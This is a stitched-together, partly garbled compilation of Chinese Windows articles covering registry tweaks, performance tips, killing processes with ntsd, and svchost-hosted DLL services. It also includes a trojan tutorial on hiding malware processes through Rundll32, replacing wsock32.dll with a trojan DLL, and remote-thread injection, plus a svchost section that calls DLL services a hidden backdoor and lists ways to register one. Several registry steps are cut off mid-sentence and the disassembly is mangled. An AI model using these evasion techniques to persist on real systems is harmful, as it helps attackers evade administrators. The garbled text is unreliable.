IIS危险组件利用 拦截原因应用程序池XXjs调用com组件危险组件WBEMComLocator

vc的windows的一些操作
在本节中,主要为用户介绍 【控制面板】的3项基本设置,即:【禁止使用控制面板】、
【隐藏控制面板中的指定项】和【指定控制面板中显示的项】。
5.1.1 &禁止使用【控制面板】
通过对【控制面板】的操作,用户几乎可以对系统中的任
意一个设置进行修改,这对于用户本身来说是很方便的。但是由于Windows系统在默认配置
下允许任何用户对【控制面板】进行操作,所以在某些时候,【控制面板】功能的强大性
也会给用户带来一些不必要的麻烦。
为了避免由于其他用户对【控制面板】的修改而给自己造成麻烦,用户可以通过修改注册
表来禁止使用【控制面板】,操作步骤如下:
(1)启动注册表编辑器,打开HKEY_CURRENT_USER\Software\Microsoft\Windows\&
CurrentVersion\Policies\Explorer子项。
(2)在Explorer子项中新建一个名为NoControlPanel的双字节值项,并将该值项的数值数
据设置为1。
(3)退出注册表编辑器并重新启动计算机。
当计算机启动完毕后,用户不仅在【我的电脑】和【资源管理器】中找不到【控制面板】
的图标,而且在【开始】菜单中的【设置】子菜单里【控制面板】菜单项也消失了,分别
如图5.1和图5.2所示。
& & & 禁用前
& & 禁用后
图5.1 &【我的电脑】中的【控制面板】图标消失了
& 禁用前 & &
图5.2 &【开始】菜单中【设置】子菜单里的【控制面板】菜单项消失了
不但如此,用户还会发现已经不能再用其他方法打开【控制面板】中的选项了。比如用户
在桌面上单击鼠标右键,选择弹出菜单中的【属性】菜单命令时,系统将会弹出一个【限
制】对话框,并显示提示信息【本次操作由于这台计算机的限制而被取消。请与您的系统
管理员联系】,如图5.3所示。
图5.3 &【限制】对话框
如果用户需要恢复对【控制面板】的操作,只需将NoControlPanel值项删除或是将该值项
的数值数据改为0即可。
5.1.2 &隐藏【控制面板】中的指定项
在通常情况下,用户并不需要禁止使用整个【控制
面板】,而只需将个别比较关键的项隐藏起来。
这里以隐藏【控制面板】中的【系统】项为例,介绍如何通过修改注册表来隐藏【控制面
板】中的指定项,操作步骤如下:
(1)启动注册表编辑器,打开HKEY_CURRENT_USER\Software\Microsoft\Windows\&
CurrentVersion\Policies\Explorer子项。
(2)在Explorer子项中新建一个名为DisallowCpl的双字节值项,并将该值项的数值数据
(3)在Explorer子项中新建一个名为DisallowCpl的子项。
(4)在DisallowCpl子项中新建一个名为1的字符串值项,并将该值项的数值数据设置为【
sysdm.cpl】。
(5)退出注册表编辑器并重新启动计算机。
这时用户打开【控制面板】就会发现原有的【系统】项消失了。
如果用户希望在【控制面板】中恢复显示【系统】项,只需将DisallowCpl值项和
DisallowCpl子项删除即可。
5.1.3 &指定【控制面板】中的显示项
通过修改注册表,用户不仅能隐藏【控制面板】中
指定的选项,而且还可以指定【控制面板】中显示的项。
这里以只在【控制面板】中显示【系统】项为例,介绍如何通过修改注册表来指定【控制
面板】中显示的项,操作步骤如下:
(1)启动注册表编辑器,打开HKEY_CURRENT_USER\Software\Microsoft\Windows\&
CurrentVersion\Policies\Explorer子项。
(2)在Explorer子项中新建一个名为RestrictCpl的双字节值项,并将该值项的数值数据
(3)在Explorer子项中新建一个名为RestrictCpl的子项。
(4)在RestrictCpl子项中新建一个名为1的字符串值项,并将该值项的数值数据设置为“
sysdm.cpl”。
(5)退出注册表编辑器并重新启动计算机。
这时用户打开【控制面板】,就会发现除了【系统】项之外,其他项都消失了,如图5.4所
图5.4 &【控制面板】中只有一个【系统】项
如果用户希望在【控制面板】中恢复其他项的显示,只需将RestrictCpl值项和
RestrictCpl子项删除即可。
揭开木马的神秘面纱(四)-DLL木马篇
在揭开木马的神秘面纱(三)发表后,有很多朋友来信询问如何在WINNT下隐藏木马的进程
。本文会详细的分析WINNT中木马的几种常用隐藏进程手段,给大家揭示木马/后门程序在
WINNT中进程隐藏的方法和查找的途径。
NT系统下木马进程的隐藏&
  在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在
WINNT中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺
骗WINNT的任务管理器,难道在WINNT下木马真的再也无法隐藏自己的进程了?
  我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时
都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一(无
论手动还是防火墙),随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的
技术(例如著名的FPort就能够检测出任何进程打开的TCP/UDP端口),假设一个木马在运
行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败(利
用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在NT下正常情况用
户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是
让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。
  让系统管理员看不见进程的方法就是进行进程列表欺骗,为了了解如何看不见进程,
我们首先要了解怎样能看得见进程:在Windows中有多种方法能够看到进程的存在:PSAPI
(Process Status API),PDH(Performance Data Helper),ToolHelp
API,如果我们
能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的
数据),我们就完全能实现进程隐藏,但是一来我们并不知道用户和入侵软件使用的是什
么方法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用
其它的方法更容易的实现进程的隐藏。(例如:能够替换DLL或挂接API来隐藏进程不如直
接用来做木马。)
  第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要
先了解Windows系统的另一种“可执行文件”----DLL,DLL是Dynamic Link
Library(动态
链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL
文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并
调用的。(你你你,你刚刚不是说不用进程了?)别急呀,听我慢慢道来:因为DLL文件不
能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过
别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并
不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀
疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为
  运行DLL文件最简单的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自带的动
态链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而
Rundll32是32位的(分别调用16位和32位的DLL文件),Rundll32的使用方法如下:
  Rundll32 DllFileName FuncName
  例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,那么,
我们通过Rundll32.exe &MyDll.dll
&MyFunc就可以执行MyFunc函数的功能。
  这个和木马的进程隐藏有什么关系么?当然有了,假设我们在MyFunc函数中实现了木
马的功能,那么我们不就可以通过Rundll32来运行这个木马了么?在系统管理员看来,进
程列表中增加的是Rundll32.exe而并不是木马文件,这样也算是木马的一种简易欺骗和自
我保护方法(至少你不能去把Rundll32.exe删掉吧?想从Rundll32进程找到DLL木马还是有
一点麻烦的)
  使用Rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦
一点)比较高级的方法是使用特洛伊DLL,特洛伊DLL的工作原理是使用木马DLL替换常用的
DLL文件,通过函数转发器将正常的调用转发给原DLL,截获并处理特定的消息。例如,我
们知道WINDOWS的Socket1.x的函数都是存放在wsock32.dll中的,那么我们自己写一个
wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)
我们的wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll
(使用函数转发器forward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理
论上只要木马编写者通过SOCKET远程输入一定的暗号,就可以控制wsock32.dll(木马DLL
)做任何操作。特洛伊DLL技术是比较古老的技术,因此微软也对此做了相当的防范,在
Win2K的system32目录下有一个dllcache的目录,这个目录中存放着大量的DLL文件(也包
括一些重要的exe文件),这个是微软用来保护DLL的法宝,一旦操作系统发现被保护的DLL
文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说有种种方
法可以绕过DLL保护(例如先更改dllcache目录中的备份再修改DLL文件、或者利用
KnownDLLs键值更改DLL的默认启动路径等),但是可以想见的未来微软必将更加小心地保
护重要的DLL文件;同时由于特洛伊DLL方法本身有着一些漏洞(例如修复安装、安装补丁
、升级系统、检查数字签名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算
是DLL木马的最优选择。
  DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行
的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进
程是不允许对这个私有空间进行操作的(私人领地、请勿入内),但是实际上,我们仍然
可以利用种种方法进入并操作进程的私有内存。在多种动态嵌入技术中(窗口Hook、挂接
API、远程线程),我最喜欢的是远程线程技术,这种技术非常简单,只要有基本的进线程
和动态链接库的知识就可以很轻松地完成嵌入,下面就为大家介绍一下远程线程技术。
Win2000设置技巧之性能提高篇
许多设置涉及到注册表,请小心操作,注意备份!&
  对象为Windows 2000 Professional。&
  内存性能优化:&
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
Manager\Memory Management 中设置
ClearPageFileAtShutdown=1。&
  若内存≥128M,进行如下优化:&
  DisablePagingExecutive键值设为1:系统正运行的文件被强制保留在内存中而非移入虚拟内存。&
  LargeSystemCache键值设为1:Windows 2000使用系统缓存(同Windows
9x中Vcache),使磁盘输入/输出性能有巨大提高。   &
  系统性能优化:&
  1. CPU二级缓存&
  L2:CPU二级缓存,是CPU的一个组成部分。然而,Windows2000不对二级缓存作出检测
,需手动设定。&
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\MemoryManagement\SecondLevelDataCache,值(以KB为单位)调整为所用CPU的二级缓存实际大小。&
  注:可选用十六进制或十进制,填入大小值应该选十进制。&
  2. 修改磁盘缓存&
  Windows2000默认的I/O页面文件比较保守。对于不同的内存,采用不同的磁盘缓存是较好的做法。&
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Memory
Management\IoPageLockLimit中,根据内存修改其十六进制值:&
  64M→1000;&
  128M→4000;&
  256M→10000;&
  512M或更大→40000。&
[NextPage]
  3. IRQ中断请求&
  计算机的每一个主要部件都设IRQ中断号。通过修改每个IRQ请求的优先次序实现优化。这里的优化对象是系统/CMOS实时钟,通过主板来提升性能。&
  1)确定需要获得更高的性能的组件。&
  2)找到组件正在使用的IRQ中断号。系统属性→硬件→设备管理器→右击待查组件→属性→资源,可以看到设备正在使用的IRQ中断号。记录中断号。&
  3)HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\PriorityControl中新建DWORD双字节值IRQ#Priority(#是具体中断号),值设为1。&
  4)重新启动。&
  建议优化系统CMOS实时钟(IRQ8),改善整块主板的性能。如要撤消优化设置,只要删除设置的注册表键值。&
  4. 不加载DLL文件&
  浏览器在使用之后往往会有部分DLL文件在内存中驻留一段时间,部分内存会被无用的DLL文件占用。&
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer新建字符值:AlwaysUnloadDLL,值设为1。&
  如要去除这项优化,将该键值设为0(或删除键值)。&
  注意:该项优化在Windows重新启动后生效。&
  5. 删除多余的DLL文件&
  Windows2000的System和System32目录下有大量dll文件被系统或应用软件共享。经常安装卸载软件会增加dll垃圾文件,占用硬盘空间,降低系统运行速度。&
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs中,存放有关软件共享的dll路径信息,每个dll文件的项值表明它已被几个应用软件共享。如果该项值为0,则说明不被任何软件共享,可以删除,然后再删除对应的dll文件。&
[NextPage]
 6. 精简注册表(慎用!)&
  精简注册表的方法是重建注册表:&
  1)Windows2000下用Regedit导出整个注册表(注意:要确保导出全部注册表而非一个分支),将其存为c:\x.reg。&
  2)用DOS
7.0重新启动,载入磁盘高速缓存程序Smartdrv.exe以加快处理速度。&
  3)运行DOS版的REGEDIT:C:\Windows\regedit/c
x.reg(参数/C表示从后面指定文件中重新生成整个注册表),重建的注册表文件比减小25-30%左右,达到精简目的。&
  7. 等待时间优化&
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control中:&
  WaitToKillServiceTimeout设为:1000或更小。&
  HKEY_CURRENT_USER\Control Panel\Desktop和HKEY_USERS\Control
Panel\Desktop中:&
  (1)WaitToKillAppTimeout改为1000,即关闭程序时仅等待1秒;&
  (2)HungAppTimeout值改为:200,表示程序出错时等待0.5秒;&
  3)AutoEndTasks值改为1,表示自动关闭停止相应的程序。&
  8. 快速定位鼠标&
  Windows
2000允许用户对鼠标的采样速率进行设定,使鼠标能更精确地移动和定位。&
  鼠标的采样速率设置为100Hz,输入缓冲区长度设置为300Hz。如果在设置后系统变得不稳定,改变采样速率,设置成80Hz或以下即可。&
  9. 快速显示菜单&
  Windows
2000的默认菜单显示是“淡入淡出”的效果,这种效果下,修改菜单的显示速度并不明显。&
  将“动画显示菜单和工具提示”效果”改为“滚动效果”。&
  HKEY_CURRENT_USER\ControlPanel\Desktop中MenuShowDelay项,这一项的取值范围是0~100000(单位为毫秒),将默认的值改为0或者是400。&
[NextPage]
  10. 删除多余的键盘布局、输入法和区域设置&
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard
Layouts中,对应“控制面板”中的“键盘布局/输入法”,可直接删除未用语言的键盘布局和未用的输入法子项;&
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale中,是“区域设置”,保留值不为空的项值,其它的全部删除。&
  11. 删除系统不用的字体和HELP文档(慎用!)&
  把\WINNT\Fonts整个目录打包压缩成一个文件保存。删除所有不用的字体,只保留Arial、Marlett、Micosoft
Scans Serif Regular 、MingLiU & PmingLiU、Modern、MS
Outlook、MS Serif 8,10,12、Script、SimSun &
NsimSun、Tahoma、Times New
Roman、宋体、仿宋、楷体、黑体几个字体。需要其它字体时解压对应的字体到Fonts目录中。&
  12. 在“运行”中添加“在单独的内存空间中运行”的选项&
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer中,新建DWORD型MemCheckBoxInRunDlg,值设为1。&
  注:默认情况下,所有16位程序都在单一共享的 VDM
(虚拟DOS机器)进程中作为线程运行。这种情况下,这些程序共享分配给 VDM
进程的内存空间,因此不能同时运行。所作设置就是允许用户在专用的(不是共享的)VDM进程中运行16位程序。复选框只在用户在输入16位程序时才被启用。&
  启动优化:&
  1.取消系统检测串口&
  打开 Boot.ini 文件,如下修改:&
  [operating systems]&
  multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=Microsoft
Windows 2000 Professional
/fastdetect/NoSerialMice&
  启动时不检测行串口,缩短启动时间。&
  2. 快速启动&
  multi(0)disk(0)rdisk(0)partition(2)\WINNT=Microsoft Windows
2000 Professional /fastdetect&
  改为:multi(0)disk(0)rdisk(0)partition(2)\WINNT=Microsoft
Windows 2000 Professional /nodetect&
  HKey_Local_Machine\System\ControlSet001\Control中,SystemStartOptions键值改为nodetect&
  3.关闭无用服务&
  运行→Services.msc→Windows2000服务的详细列表。&
[NextPage]
  Windows 2000服务设置&
  4. 加快启动和减少故障恢复时间&
  减少Windows2000系统启动时显示操作系统列表的时间。如果不是网络系统管理员,可以去掉“将事件写入系统日志”和“发出管理警报”两个选项,并将“写入调试信息”设置为“无”。&
  5. 删掉不需要的组件&
  (1)去除文件夹选项的文件隐藏、只读等属性;&
  (2)\WINNT\inf文件夹,用记事本打开sysoc.ini文件,替换“,hide”为空,保存退出。控制面板→添加/删除程序→添加/删除Windows组件,根据需要修改。&
  6. 屏蔽CD自动播放&
  启动时,打开CD自动播放功能会延缓启动速度。运行→gpedit.msc→管理模板,设置是否自动播放CD。&
  7. 快速登录计算机系统&
  系统属性→网络ID→网络标识→根据“网络标识向导”操作。&
  设置时注意:选择“本机用于家庭,不是商业网络的一部分”,以及“Windows始终假设下列用户已登录到本机上”。&
  HKEY_LOCAL_MACHINE\Software\Microsoft\WinNT\CurrentVersion\Winlogon中,&
  (1)AutoAdminLogon值改为“1”&
  (2)DefaultDomainName值改为所要登录的域名或本机计算机名&
  (3)DefaultUserName值改为自动登录的用户名&
  (4)DefaultPassword值改为密码。(注意:这几个都是字符串值。)&
  如果想临时取消自动登录或者需要以其他用户名登录,在启动时按住Shift键。&
  8. 加快Explorer启动速度&
  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\Explorer\RemoteComputer\NameSpace中:&
  删除{DC6A-11CF-8D87-00AA0060F5BF}
(计划任务)&
  9. Windows 2000启动盘制作:&
  (1)Windows 2000 启动盘:d:\bootdisk\makeboot
  (2)Windows 2000
引导盘:ntldr,,boot.ini,IO.sys&
  (3)Windows 2000
紧急修复磁盘(ERD):ntbackup.exe&
Windows XP任务管理器杀不了的进程关闭大法
《中国电脑教育报》 李红&
  Windows
XP/2000的任务管理器是一个非常有用的工具,能让你看到系统中正在运行哪些程序(进程),只要你平时多看任务管理器中的进程列表,熟悉系统的基本进程,就可以随时发现可疑进程,这对防范木马和病毒大有裨益!不过有一些可疑进程,你用任务管理器却无法杀掉,这该怎么办呢?
  一、哪些系统进程不能关掉
  Windows运行的时候,会启动多个进程。只要你按下“Ctrl+Alt+Del”键打开任务管理器,点击“查看”/选择列,勾选“PIO(进程标识符)”,然后单击“进程”标签,即可看到这些进程。不过有一些进程个人用户根本用不到,例如Systray.exe(显示系统托盘小喇叭图标)、Ctfmon.exe(微软Office输入法)、Winampa.exe等,我们完全可以禁止它们,这样做并不会影响系统的正常运行。
  二、如何关闭任务管理器杀不了的进程
  如果你在任务管理器中无法关闭某个可疑进程,可以使用下面的方法强行关闭,注意不要杀掉进程表中的系统核心进程:
  1.使用Windows XP/2000自带的工具
  从Windows
2000开始,Windows系统就自带了一个用户态调试工具Ntsd,它能够杀掉大部分进程,因为被调试器附着的进程会随调试器一起退出,所以只要你在命令行下使用Ntsd调出某进程,然后退出Ntsd即可终止该进程,而且使用Ntsd会自动获得Debug权限,因此Ntsd能杀掉大部分的进程。
  操作方法:单击“开始”/程序/附件/命令提示符,输入命令:ntsd -c q -p
PID(把最后那个PID,改成你要终止的进程的PID)。在进程列表中你可以查到某个进程的PID,例如我们要关闭图1中的Explorer.exe进程,输入:ntsd
-c q -p 408即可。
  以上参数-p表示后面跟随的是进程PID, -c
q表示执行退出Ntsd的调试命令,从命令行把以上参数传递过去就行了。
  2. 使用专门的软件来杀进程
  任务管理器杀不掉的进程,你可以使用专门的软件关闭。有很多软件可以杀进程,例如进程杀手、IceSword、柳叶擦眼、系统查看大师、Kill
process等。
  (1)进程杀手2.5(下载地址http://sc-/down/proc-killer_25.rar)
  它能够浏览系统中正在运行的所有进程,包括用Ctrl+Alt+Del
看不到的进程,可以精简进程、自动中止系统基本进程以外的所有进程,对木马和病毒进程有一定清除作用,你可以用它随时中止任一个正在运行的进程,选中该进程,按“中止进程”按钮即可。
  (2)IceSword(下载地址http://do-wnload.pchome.net/php/dl.php?sid=18523)
  如今系统级木马后门功能越来越强,一般都可轻易隐藏进程、端口、注册表、文件信息,普通进程工具根本无法发现这些“幕后黑手”。IceSword使用大量新颖的内核技术,可以查出所有隐藏进程。
  要查看当前进程,请点击“进程”按钮,在右部列出的进程中,隐藏的进程会以红色醒目地标记出,以方便查找系统级后门。如果要结束某进程,可以先选中它(按住Ctrl键可选择多个进程),然后使用右键菜单的“结束进程”,即可关闭之。
  (3)柳叶擦眼(/soft/4507.html)
  它可以列出系统中所有的进程(包括隐藏的),并可以杀死进程,能自动标示出系统文件,自动中止基本进程外的所有进程,还具有IE保护功能。
  运行软件后,单击“柳叶擦眼”可以显示当前正在运行的所有进程,你只需注意那些“定义级别”为“未知”及“危险”的进程,按“降妖伏魔”按钮关闭它们即可。
  (4)系统查看大师1.0(http://xj-http.skycn.net:8080/down/xpprocess.exe)
  目前许多木马都是在后台运行的,它们运行时会隐藏自己的窗口,因此你无法在屏幕上看到它们。该软件可以获取隐藏的不可见窗口,让你发现木马踪影、关闭之。
  软件运行后,在左侧视图中点击“取不可见窗口”按钮,右侧的窗口中就会显示出所有当前运行的、隐藏的不可见窗口标题,选定其中的可疑窗口,然后点击右下端的“结束此窗口”按钮,即可关闭之。如果你要关闭某进程,可以单击“进程列表”按钮,选中该进程,然后右击鼠标在弹出的窗口中,单击“结束进程”即可。
创建SvcHost.exe调用的服务原理与实践
创建SvcHost.exe调用的服务原理与实践
bingle_.cn
http://www.binglesite.net/
1. 多个服务共享一个Svchost.exe进程利与弊
windows 系统服务分为独立进程和共享进程两种,在windows
NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,在windows
2000中ms又把很多服务做成共享方式,由svchost.exe启动。windows
2000一般有2个svchost进程,一个是RPCSS(Remote Procedure
Call)服务进程,另外一个则是由很多服务共享的一个svchost.exe。而在windows
XP中,则一般有4个以上的svchost.exe服务进程,windows 2003
server中则更多,可以看出把更多的系统内置服务以共享进程方式由svchost启动是ms的一个趋势。这样做在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,因为任何一个共享进程的服务因为错误退出进程就会导致整个进程中的所有服务都退出。另外就是有一点安全隐患,首先要介绍一下svchost.exe的实现机制。
2. Svchost原理
Svchost本身只是作为服务宿主,并不实现任何服务功能,需要Svchost启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost,启动这些服务时由svchost调用相应服务的动态链接库来启动服务。
那么svchost如何知道某一服务是由哪个动态链接库负责呢?这不是由服务的可执行程序路径中的参数部分提供的,而是服务在注册表中的参数设置的,注册表中服务下边有一个Parameters子键其中的ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数,用来处理服务任务。
例如rpcss(Remote Procedure Call)在注册表中的位置是
&HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs,它的参数子键Parameters里有这样一项:
"ServiceDll"=REG_EXPAND_SZ:"%SystemRoot%\system32\rpcss.dll"
当启动rpcss服务时,svchost就会调用rpcss.dll,并且执行其ServiceMain()函数执行具体服务。
既然这些服务是使用共享进程方式由svchost启动的,为什么系统中会有多个svchost进程呢?ms把这些服务分为几组,同组服务共享一个svchost进程,不同组服务使用多个svchost进程,组的区别是由服务的可执行程序后边的参数决定的。
例如rpcss在注册表中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs
有这样一项:
"ImagePath"=REG_EXPAND_SZ:"%SystemRoot%\system32\svchost -k
因此rpcss就属于rpcss组,这在服务管理控制台也可以看到。
svchost的所有组和组内的所有服务都在注册表的如下位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost,例如windows
2000共有4组rpcss、netsvcs、wugroup、BITSgroup,其中最多的就是netsvcs=REG_MULTI_SZ:EventSystem.Ias.Iprip.Irmon.Netman.Nwsapagent.Rasauto.Rasman.Remoteaccess.SENS.Sharedaccess.Tapisrv.Ntmssvc.wzcsvc..
在启动一个svchost.exe负责的服务时,服务管理器如果遇到可执行程序内容ImagePath已经存在于服务管理器的映象库中,就不在启动第2个进程svchost,而是直接启动服务。这样就实现了多个服务共享一个svchost进程。
3. Svchost代码
现在我们基本清楚svchost的原理了,但是要自己写一个DLL形式的服务,由svchost来启动,仅有上边的信息还有些问题不是很清楚。比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode?我们是否需要调用RegisterServiceCtrlHandler和StartServiceCtrlDispatcher来注册服务控制及调度函数?
这些问题要通过查看svchost代码获得。下边的代码是windows 2000+ service pack 4
的svchost反汇编片段,可以看出svchost程序还是很简单的。
主函数首先调用ProcCommandLine()对命令行进行分析,获得要启动的服务组,然后调用SvcHostOptions()查询该服务组的选项和服务组的所有服务,并使用一个数据结构
svcTable 来保存这些服务及其服务的DLL,然后调用PrepareSvcTable()
函数创建SERVICE_TABLE_ENTRY 结构,把所有处理函数SERVICE_MAIN_FUNCTION
指向自己的一个函数FuncServiceMain(),最后调用API StartServiceCtrlDispatcher()
注册这些服务的调度函数。
; =============================== Main Funcion
===========================================
.text: & &
& & & public
.text: start & &
& & & proc
.text: & &
& & & push
.text: & &
& & & push
.text:010010BA & &
& & & push
& &offset sub_1001EBA ;
lpTopLevelExceptionFilter
.text:010010BF & &
& & edi, edi
.text: & &
& & & call
&ds:SetUnhandledExceptionFilter
.text: & &
& & & push
.text: & &
& & & call
& &ds:SetErrorMode
.text:010010CF & &
& & & call
& &ds:GetProcessHeap
.text: & &
& & & push
.text: & &
& & & call
& &sub_1001142
.text:010010DB & &
& & eax, offset
dword_1003018
.text: & &
& & & push
& &offset unk_1003000 ;
lpCriticalSection
.text: & &
& & dword_100301C, eax
.text:010010EA & &
& & dword_1003018, eax
.text:010010EF & &
& & & call
&ds:InitializeCriticalSection
.text: & &
& & & call
& &ds:GetCommandLineW
.text:010010FB & &
& & & push
& & ; lpString
.text:010010FC & &
& & & call
& &ProcCommandLine
.text: & &
& & esi, eax
.text: & &
& & & test
& &esi, esi
.text: & &
& & &short
lab_doservice
.text: & &
& & & push
.text: & &
& & & call
& &SvcHostOptions
.text:0100110D & &
& & & call
& &PrepareSvcTable
.text: & &
& & edi, eax &
SERVICE_TABLE_ENTRY returned
.text: & &
& & & test
& &edi, edi
.text: & &
& & &short
loc_1001128
.text: & &
& & eax, [esi+10h]
.text:0100111B & &
& & & test
& &eax, eax
.text:0100111D & &
& & &short
loc_1001128
.text:0100111F & &
& & & push
& &dword ptr [esi+14h] ;
dwCapabilities
.text: & &
& & & push
.text: & &
& & & call
& &InitializeSecurity
.text: loc_1001128: &
&; CODE XREF: start+5Ej
.text: & &
.text: & &
& & & push
& & ; lpMem
.text: & &
& & & call
& &HeapFreeMem
.text:0100112E&
.text:0100112E lab_doservice: &
& & &; CODE
XREF: start+4Dj
.text:0100112E & &
& & & test
& &edi, edi
.text: & &
&ExitProgram
.text: & &
& & & push
& & ; lpServiceStartTable
.text: & &
& & & call
&ds:StartServiceCtrlDispatcherW
.text:0100113D & &
& & ExitProgram
.text:0100113D start & &
& & & endp
; =============================== Main Funcion end
===========================================
由于svchost为该组的所有服务都注册了svchost中的一个处理函数,因此每次启动任何一个服务时,服务管理器SCM都会调用FuncServiceMain()
这个函数。这个函数使用 svcTable
查询要启动的服务使用的DLL,调用DLL导出的ServiceMain()函数来启动服务,然后返回。
; ============================== FuncServiceMain()
===========================================
.text: FuncServiceMain proc near &
& & & ; DATA
XREF: PrepareSvcTable+44o
.text: arg_0 & &
& & & = dword
.text: arg_4 & &
& & & = dword
.text: & &
& & & push
.text: & &
& & eax, [esp+arg_4]
.text: & &
& & & push
.text:0100150A & &
& & & push
.text:0100150B & &
& & & push
.text:0100150C & &
& & ebx, offset unk_1003000
.text: & &
& & & push
.text: & &
& & edi, [eax]
.text: & &
& & & push
.text: & &
& & ebp, ebp
.text: & &
& & & call
& &ds:EnterCriticalSection
.text:0100151D & &
& & esi, esi
.text:0100151F & &
& & dwGroupSize, esi
.text: & &
& & short loc_1001566
.text: & &
& & [esp+10h], esi
.text:0100152B&
.text:0100152B loc_100152B: &
&; CODE XREF: FuncServiceMain+4Aj
.text:0100152B & &
& & eax, svcTable
.text: & &
& & ecx, [esp+10h]
.text: & &
& & & push
& &dword ptr [eax+ecx]
.text: & &
& & & push
.text: & &
& & & call
& &ds:lstrcmpiW
.text:0100153E & &
& & & test
& &eax, eax
.text: & &
& & &short
.text: & &
& & dword ptr [esp+10h],
.text: & &
.text: & &
& & esi, dwGroupSize
.text:0100154E & &
& & &short
loc_100152B
.text: & &
& & short loc_1001566
=================================================
.text: StartThis: &
& &; CODE XREF:
FuncServiceMain+3Cj
.text: & &
& & ecx, svcTable
.text: & &
& & eax, [esi+esi*2]
.text:0100155B & &
& & eax, [ecx+eax*4]
.text:0100155E & &
& & & push
.text:0100155F & &
& & & call
& &GetDLLServiceMain
.text: & &
& & ebp, eax &
& & &; dll
ServiceMain Function address
.text: loc_1001566: &
&; CODE XREF: FuncServiceMain+21j
.text: & &
FuncServiceMain+4Cj
.text: & &
& & & push
.text: & &
& & & call
& &ds:LeaveCriticalSection
.text:0100156D & &
& & & test
& &ebp, ebp
.text:0100156F & &
& & &short
loc_100157B
.text: & &
& & & push
& &[esp+10h+arg_4]
.text: & &
& & & push
& &[esp+14h+arg_0]
.text: & &
& & & call
.text:0100157B&
.text:0100157B loc_100157B: &
&; CODE XREF: FuncServiceMain+6Bj
.text:0100157B & &
.text:0100157C & &
.text:0100157D & &
.text:0100157E & &
.text:0100157F & &
.text: & &
& & & retn
.text: FuncServiceM sp = -8
; ============================== FuncServiceMain() end
========================================
由于svchost已经调用了StartServiceCtrlDispatcher来服务调度函数,因此我们在实现DLL实现时就不用了,这主要是因为一个进程只能调用一次StartServiceCtrlDispatcher
API。但是需要用 RegisterServiceCtrlHandler
来注册响应控制请求的函数。最后我们的DLL接收的都是unicode字符串。
由于这种服务启动后由svchost加载,不增加新的进程,只是svchost的一个DLL,而且一般进行审计时都不会去HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost
检查服务组是否变化,就算去检查,也不一定能发现异常,因此如果添加一个这样的DLL后门,伪装的好,是比较隐蔽的。
4. 安装服务与设置
要通过svchost调用来启动的服务,就一定要在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost下有该服务名,这可以通过如下方式来实现:
1) 添加一个新的服务组,在组里添加服务名
2) 在现有组里添加服务名
3) 直接使用现有服务组里的一个服务名,但本机没有安装的服务
4) 修改现有服务组里的现有服务,把它的ServiceDll指向自己
